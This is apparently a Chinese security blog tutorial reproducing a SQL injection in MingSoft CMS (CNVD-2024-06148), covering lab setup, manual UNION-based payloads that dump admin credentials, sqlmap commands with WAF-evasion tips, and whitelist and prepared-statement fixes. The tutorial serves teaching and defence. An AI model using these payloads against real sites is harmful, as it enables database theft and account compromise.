铭飞CMS SQL注入漏洞(CNVD-2024-06148)复现与深度剖析
1. 项目概述:一次典型的CMS漏洞复现之旅
最近在安全圈里,铭飞CMS的一个SQL注入漏洞(CNVD-2024-06148)引起了不小的讨论。作为一名常年和代码、漏洞打交道的安全从业者,我习惯性地会去复现这类公开的漏洞,这不仅是验证其真实性和危害性的过程,更是深入理解其成因、学习防御思路的绝佳机会。今天,我就把自己复现这个漏洞的完整过程、技术细节和踩过的坑,毫无保留地分享出来。这篇文章适合所有对Web安全、代码审计或渗透测试感兴趣的朋友,无论你是想了解一个具体的漏洞如何被利用,还是想学习如何从零开始搭建环境进行复现,都能在这里找到清晰的路径和可操作的步骤。我们将从环境搭建开始,一步步分析漏洞原理,构造利用Payload,并最终获取数据库信息,整个过程力求详尽,让你能亲手复现。
2. 环境准备与靶场搭建
2.1 靶机环境选择与部署
漏洞复现的第一步,永远是搭建一个与漏洞存在环境尽可能一致的靶场。根据漏洞公告,铭飞CMS的多个版本受此漏洞影响。为了最贴近真实情况,我选择从官方历史发布页面下载了一个受影响的旧版本(例如 某历史版本)。这里有个关键点:务必使用虚拟机。我推荐使用 VirtualBox 或 VMware 创建一个干净的 Windows 或 Linux 虚拟机,将CMS部署在其中。这样做的好处是绝对的隔离性,避免测试用的Payload或意外操作影响到你的宿主机或其他网络服务。在虚拟机中,我安装了 PHP 5.6(与受影响版本兼容)、Apache 2.4 以及 MySQL 5.5,搭建了一个典型的 LAMP/WAMP 环境。
安装过程本身并不复杂,按照铭飞CMS的官方安装指引进行即可。但这里有几个注意事项:第一,数据库配置时,建议为这个测试环境单独创建一个数据库用户,而不是直接用root,这更符合生产环境的习惯,也便于我们后续观察注入效果。第二,安装完成后,务必不要进行任何升级或打补丁操作,我们的目的就是保留这个存在漏洞的原始状态。第三,记得检查Apache的mod_rewrite模块是否开启,因为很多CMS的路由依赖它,如果没开,一些涉及URL参数的漏洞点可能无法正常访问。
2.2 关键工具链配置
工欲善其事,必先利其器。一次高效的漏洞复现,离不开顺手的工具。我的工具链主要包括以下几类:
- 浏览器与代理工具:Chrome 或 Firefox 是首选,配合 Burp Suite Community Edition。Burp Suite 的代理功能、Repeater模块和Intruder模块在测试和利用漏洞时不可或缺。你需要配置浏览器代理指向Burp(默认127.0.0.1:8080),并安装Burp的CA证书以拦截HTTPS流量。
- 漏洞探测与利用辅助:虽然本次以手工注入为主以加深理解,但
sqlmap这样的自动化工具在验证漏洞存在性和快速获取数据时非常高效。确保你的Python环境已安装好,并能正常运行sqlmap。 - 代码审计工具:一款好的代码编辑器或IDE能极大提升效率。我常用 VS Code 或 PHPStorm。它们强大的搜索、跳转和代码高亮功能,能帮助我们在浩如烟海的CMS源码中快速定位可能存在问题的函数和文件。
- 网络调试工具:
curl命令在命令行下快速发送HTTP请求、测试参数非常方便。有时图形化界面不方便时,它就是利器。
将这套环境搭建好,就像是外科医生准备好了手术台和无影灯,接下来我们就可以开始进行“病灶”定位了。
3. 漏洞原理深度剖析与定位
3.1 SQL注入漏洞核心原理回顾
在深入铭飞CMS这个具体案例前,我们有必要快速统一一下对SQL注入本质的理解。简单来说,SQL注入就是攻击者通过Web应用程序的输入接口(如URL参数、表单字段、HTTP头),向后台数据库“注入”恶意的SQL代码片段。如果程序没有对用户输入进行充分的过滤和校验,而是直接将其拼接进SQL查询语句中执行,那么攻击者注入的代码就会被数据库引擎执行。这可能导致数据泄露(如拖库)、数据篡改(增删改)、甚至获取服务器权限等严重后果。其根源在于“数据”和“代码”的边界被模糊了——用户输入的数据被当成了程序代码的一部分来执行。
3.2 CNVD-2024-06148漏洞点定位
根据公开的漏洞信息和CNVD的简要描述,这个漏洞通常存在于铭飞CMS的某个后台或前台的参数过滤不严处。我的定位思路是“由外而内,由面到点”:
- 黑盒模糊测试:首先,我使用Burp Suite对安装好的铭飞CMS站点进行爬取,收集所有的URL端点、表单和参数。然后,我重点关注那些看起来像ID、分类、页码等可能直接代入数据库查询的参数,例如
id=,catid=,page=。使用Burp的Intruder模块,对这些参数点插入一些简单的SQL注入测试Payload,如单引号‘、and 1=1、and 1=2,观察服务器返回的响应是否有差异(如错误信息、页面内容变化、响应时间延迟)。这个过程能快速缩小可疑范围。 - 白盒代码审计:在模糊测试发现可疑参数后,就需要深入代码印证。我直接在源码目录中,全局搜索接收这些可疑参数的PHP文件。在PHP中,获取参数通常通过
$_GET,$_POST,$_REQUEST全局数组。例如,如果怀疑URL中的id参数,就搜索$_GET[‘id’]或$_REQUEST[‘id’]。找到这些接收点后,顺着代码逻辑向下看,看这个变量是否被直接传递到了SQL查询函数中,比如mysql_query(),mysqli_query(), 或是框架的查询构造器方法。关键检查点是:在拼接进SQL语句前,这个变量是否经过了有效的过滤函数?铭飞CMS可能自带有过滤类或函数,如safeHtml(),addslashes(),intval()等。需要确认过滤是否彻底,或者是否存在绕过可能。
以我复现的这个漏洞为例,经过审计,发现漏洞出现在/controller/目录下的某个控制器文件中。该文件的一个方法在处理前端传递的orderBy或类似排序字段参数时,直接将其拼接到了SQL语句的ORDER BY子句后面,而没有进行任何过滤。ORDER BY后面跟的是字段名,通常程序会认为这是预定义的几个值之一,但这里却直接从用户输入中获取,造成了注入。
3.3 漏洞利用条件与影响范围分析
这个漏洞的利用条件相对宽松。由于注入点可能在后台也可能在前台(视具体版本和模块而定),如果是前台注入点,那么攻击者无需登录即可利用,危害等级更高。如果是后台注入点,则需要先获得一个后台管理员账号,这可能通过弱口令、其他漏洞或社会工程学获得。 漏洞的影响范围直接取决于该CMS的使用量。铭飞CMS在国内有一定数量的用户,主要用于企业官网、内容展示等场景。成功利用该SQL注入漏洞,攻击者至少可以:
- 读取数据库中的任意数据,包括管理员账号密码(通常是加密的,但可尝试破解)、用户敏感信息、文章内容等。
- 在特定条件下,可能通过
UNION查询、堆叠查询或利用数据库特性(如MySQL的INTO OUTFILE)向服务器写入文件,从而获取Webshell,进一步控制服务器。 因此,这个CNVD编号的漏洞被评定为中高危漏洞是合理的。
4. 手工注入实战与Payload构造
4.1 信息收集与注入类型判断
假设我们通过代码审计或模糊测试,确定了注入点位于http://target.com/index.php?m=content&c=index&a=list&catid=123中的catid参数。 第一步是判断注入类型。最经典的方法是插入单引号:catid=123’。提交后,如果页面返回了数据库错误(如“You have an error in your SQL syntax”),这强烈暗示存在SQL注入,并且可能是字符型注入。如果页面显示正常或只是内容为空,则可能是数字型注入,或者单引号被转义了。 为了进一步确认,我们使用逻辑测试:
- 提交
catid=123 and 1=1, 页面正常显示。 - 提交
catid=123 and 1=2, 页面内容消失或与上一条不同(因为1=2为假,查询条件不成立)。 如果两者响应有明显差异,则确认存在基于布尔(Boolean)的SQL注入。对于数字型注入,Payload通常直接拼接,如and 1=1;对于字符型,则需要考虑闭合引号,如123‘ and ’1‘=’1。
4.2 逐步获取数据库信息
确认注入点后,我们开始手工获取信息。这个过程就像剥洋葱,一层层深入。
- 判断字段数:为了后续使用
UNION SELECT查询,我们需要知道当前SQL查询语句最终SELECT了多少个字段。使用ORDER BY子句递增数字来测试:catid=123 order by 5--,catid=123 order by 10--。当ORDER BY后面的数字超过实际字段数时,数据库会报错。通过不断调整,我们可以确定字段数,例如发现order by 7正常而order by 8报错,那么字段数就是7。这里的--是SQL注释符,用于注释掉原查询后面的语句,避免语法错误。 - 探测回显点:知道了字段数(假设为7),我们构造
UNION SELECT语句,找出哪些字段的内容会显示在页面上。Payload:catid=-123 union select 1,2,3,4,5,6,7--。注意,这里把原查询的catid值改为一个不存在的负值(或使原查询结果为空),以确保页面显示的是我们UNION SELECT的结果。提交后,观察页面,原本显示文章标题、发布时间等位置,可能会被数字“2”、“3”等替代。这些数字就是回显点,比如数字2和5出现在了页面可见区域。 - 获取核心数据:现在,我们可以把回显点替换成我们想查询的数据库函数。
- 查询当前数据库名:
catid=-123 union select 1,database(),3,4,5,6,7--, 数据库名会显示在第二个字段的位置。 - 查询数据库用户和版本:
catid=-123 union select 1,user(),version(),4,5,6,7--。 - 查询所有表名:这需要用到数据库的元信息表。在MySQL中,通常是
information_schema.tables。Payload:catid=-123 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--。group_concat()函数将多行结果合并成一个字符串,方便查看。执行后,你可能会看到一串表名,如ms_admin,ms_article,ms_user等。 - 查询特定表(如
ms_admin)的字段名:catid=-123 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database() and table_name=‘ms_admin’--。这里需要注意,table_name的值可能需要用十六进制表示来绕过可能的过滤,例如0x6d735f61646d696e(ms_admin的十六进制)。 - 最终拖取管理员账号密码:
catid=-123 union select 1,username,password,4,5,6,7 from ms_admin--。这样,管理员的用户名和密码(哈希值)就可能被显示出来。
- 查询当前数据库名:
重要提示:以上所有操作仅限在你自己搭建的、合法的测试环境中进行。未经授权对任何线上系统进行测试都是非法行为。
4.3 使用Sqlmap进行自动化验证
手工注入能让我们透彻理解原理,但在验证漏洞存在性或需要快速提取大量数据时,自动化工具更高效。以sqlmap为例,基本命令如下:
python sqlmap.py -u “http://your-test-site.com/index.php?m=content&c=index&a=list&catid=123” --batch-u:指定目标URL。--batch:以非交互模式运行,自动选择默认选项。 sqlmap会自动识别参数、测试注入类型。如果确认存在注入,你可以进一步使用:--dbs:枚举所有数据库。-D database_name --tables:枚举指定数据库的所有表。-D database_name -T table_name --columns:枚举指定表的所有列。-D database_name -T table_name -C “username,password” --dump:导出指定列的数据。
实操心得:sqlmap虽然强大,但发出的请求特征明显,很容易被WAF拦截。在测试时,可以结合--tamper参数使用脚本对Payload进行混淆,或者使用--delay设置请求延迟,降低请求频率。不过,在本地测试环境中,这些通常不是问题。
5. 漏洞根因分析与修复方案
5.1 代码层问题溯源
通过复现过程,我们可以清晰地看到漏洞的根本原因。问题通常出在类似下面的代码片段(此为模拟代码,说明原理):
// 漏洞代码示例 $orderField = $_GET[‘order’]; // 直接从用户输入获取排序字段 $sql = “SELECT * FROM ms_article WHERE catid=123 ORDER BY ” . $orderField . “ DESC”; $result = mysql_query($sql);开发者原本可能只期望用户传入如“id”,“click”这样的合法字段名。但由于$orderField未经任何过滤就直接拼接进SQL语句,攻击者可以传入“id DESC,(SELECT 1 FROM (SELECT SLEEP(5))a)”这样的Payload,实现时间盲注,或者通过UNION等方式进行联合查询注入。 更深层次的原因,是开发人员安全意识不足,混淆了“数据”和“代码”。在SQL语句中,ORDER BY后面的内容虽然是字段名或表达式,但它仍然是查询语句的“代码”部分,不应该由用户输入直接控制。
5.2 安全修复建议
修复此类漏洞的核心原则是:对所有用户输入进行严格的、白名单式的过滤和校验。
- 白名单过滤(首选方案):对于像排序字段(
orderBy)这种参数,最佳实践是定义一个允许的字段名数组,只接受数组内的值。// 修复代码示例:白名单过滤 $allowedFields = array(‘id’, ‘title’, ‘click’, ‘add_time’); $orderField = $_GET[‘order’]; if (!in_array($orderField, $allowedFields)) { $orderField = ‘id’; // 提供一个安全的默认值 } $sql = “SELECT * FROM ms_article WHERE catid=123 ORDER BY ” . $orderField . “ DESC”; - 参数化查询/预处理语句(针对WHERE子句等值条件):对于
WHERE子句中的条件值,必须使用预处理语句(PDO或mysqli_prepare)。这是防止SQL注入最根本、最有效的方法,因为它将SQL语句的结构与数据完全分离。
请注意,// 使用PDO预处理语句 $pdo = new PDO($dsn, $user, $pass); $stmt = $pdo->prepare(“SELECT * FROM ms_article WHERE catid = :catid”); $stmt->execute([‘:catid’ => $_GET[‘catid’]]); $results = $stmt->fetchAll();ORDER BY子句中的字段名不能使用预处理语句的参数占位符,因为占位符仅用于值(value),不能用于标识符(identifier,如表名、字段名)。这就是为什么对于ORDER BY必须用白名单。 - 转义函数(次要选择,不推荐单独使用):像
mysql_real_escape_string()这样的函数是为字符串值设计的,用于转义特殊字符。它不能安全地用于ORDER BY后的字段名,因为字段名不是用引号包裹的字符串值。依赖转义来防止所有SQL注入是一种过时且不安全的方法。 - 框架安全机制:如果使用现代PHP框架(如Laravel, ThinkPHP),务必使用其提供的查询构造器(Query Builder)或ORM(如Eloquent),它们内部通常已经实现了参数绑定,能有效避免SQL注入。
对于铭飞CMS用户,最直接的修复方案是:立即升级到官方发布的最新版本。官方在获悉漏洞后,通常会发布安全更新补丁。如果因故无法立即升级,则应手动根据漏洞公告或自行审计的结果,定位到有问题的代码文件,应用上述白名单过滤原则进行修改。
6. 复现过程中的常见问题与排查
6.1 环境搭建与配置问题
- 问题:安装CMS后访问页面报错,提示数据库连接失败或表不存在。
- 排查:首先检查
config/目录下的数据库配置文件(如database.php)中的主机名、用户名、密码、数据库名是否正确。其次,确认MySQL服务是否已启动。最后,回想安装过程中是否成功执行了SQL脚本来创建数据库表。可以尝试重新运行安装程序。
- 排查:首先检查
- 问题:使用Burp Suite拦截不到浏览器流量。
- 排查:确认浏览器代理设置是否正确指向了Burp(127.0.0.1:8080)。检查Burp Suite的Proxy -> Options 中,代理监听器(Proxy Listeners)是否处于运行状态(Running)。如果是HTTPS站点,确保已在浏览器中安装并信任了Burp Suite的CA证书。
6.2 漏洞探测与利用阶段问题
- 问题:插入单引号或测试Payload后,页面没有变化,也没有报错。
- 排查:这可能意味着:1)该参数不存在注入漏洞;2)参数被严格过滤或转义了;3)注入点是盲注(布尔盲注或时间盲注),页面没有直接回显错误,但内容有细微差别。此时应尝试布尔盲注的Payload,如
and 1=1和and 1=2,仔细对比两次响应内容的长度、某个特定关键词是否存在。也可以尝试时间盲注Payload,如and sleep(5),观察响应时间是否显著延迟。
- 排查:这可能意味着:1)该参数不存在注入漏洞;2)参数被严格过滤或转义了;3)注入点是盲注(布尔盲注或时间盲注),页面没有直接回显错误,但内容有细微差别。此时应尝试布尔盲注的Payload,如
- 问题:使用
UNION SELECT时,页面报错“The used SELECT statements have a different number of columns”。- 排查:这是字段数不一致的典型错误。说明你
UNION SELECT后面跟的字段数与原查询字段数不同。需要更精确地使用ORDER BY技术来确定字段数。有时原查询字段数较多,需要耐心测试。
- 排查:这是字段数不一致的典型错误。说明你
- 问题:知道表名和字段名,但用
UNION SELECT查询数据时,页面不显示。- 排查:首先确认你选择的回显点是否正确(即数字是否显示在了页面可见区域)。其次,检查你的Payload语法,特别是引号的闭合。对于字符型注入,闭合非常关键。可以利用Burp Repeater模块,方便地修改和重放请求,观察原始响应,有时数据可能隐藏在HTML注释或JS代码中,需要查看网页源代码才能发现。
6.3 工具使用相关问题
- 问题:Sqlmap跑不出来注入点,但手工测试明明有反应。
- 排查:可能是sqlmap默认的测试级别和风险等级不够。尝试增加级别:
--level=3 --risk=3。Level越高,测试的Payload和参数越多;Risk越高,测试的风险性Payload越多(如OR类型的注入)。另外,检查目标参数是否需要特定的Cookie或HTTP头才能访问,使用--cookie或--headers参数提供。如果站点有Token或CSRF防护,可能需要更复杂的配置。
- 排查:可能是sqlmap默认的测试级别和风险等级不够。尝试增加级别:
一个我踩过的坑:在一次复现中,我手工测试确认了注入点,但sqlmap始终检测不到。后来发现,是因为该注入点仅在POST请求的某个特定参数中存在,而我一开始给sqlmap的是GET请求的URL。使用--data参数将POST数据提交给sqlmap后,问题迎刃而解。所以,明确HTTP请求方法(GET/POST)和参数位置至关重要。
7. 防御视角下的思考与总结
完成整个复现过程后,站在防御者的角度,我有了更深的体会。SQL注入作为一个“古早”的漏洞类型,至今仍频繁出现,根本原因在于开发环节的安全意识缺失和安全编码习惯的缺乏。对于企业而言,除了在开发阶段推行安全编码规范、使用安全的框架和API外,在测试和运维阶段也需要部署多层次的安全防护:
- 代码审计:定期对核心业务代码进行人工或自动化审计,尤其是在项目上线前和重大更新后。
- WAF(Web应用防火墙):在应用前端部署WAF,可以拦截大量已知和未知的注入攻击Payload,为修复漏洞争取时间。
- 最小权限原则:为Web应用程序连接数据库的账户分配最小必要的权限,通常只赋予
SELECT,INSERT,UPDATE,DELETE权限,杜绝DROP,FILE等危险权限,这样即使发生注入,也能将损失降到最低。 - 错误信息处理:将生产环境的PHP错误显示关闭(
display_errors = Off),并使用自定义错误页面。避免将详细的数据库错误信息直接返回给用户,这会给攻击者提供大量线索。
最后,我想强调的是,漏洞复现的意义绝不仅仅是“攻击”。通过亲手搭建环境、分析代码、构造利用过程,我们才能最深刻地理解漏洞产生的每一个环节,从而在设计、开发和审查代码时,本能地避开这些陷阱。对于铭飞CMS这个漏洞,希望所有使用者都已及时升级。而对于安全研究者或开发者来说,这个案例再次敲响了警钟:用户输入的每一份数据,都必须被当作潜在的威胁来对待,唯有通过严格的白名单校验和参数化查询,才能构建起稳固的安全防线。
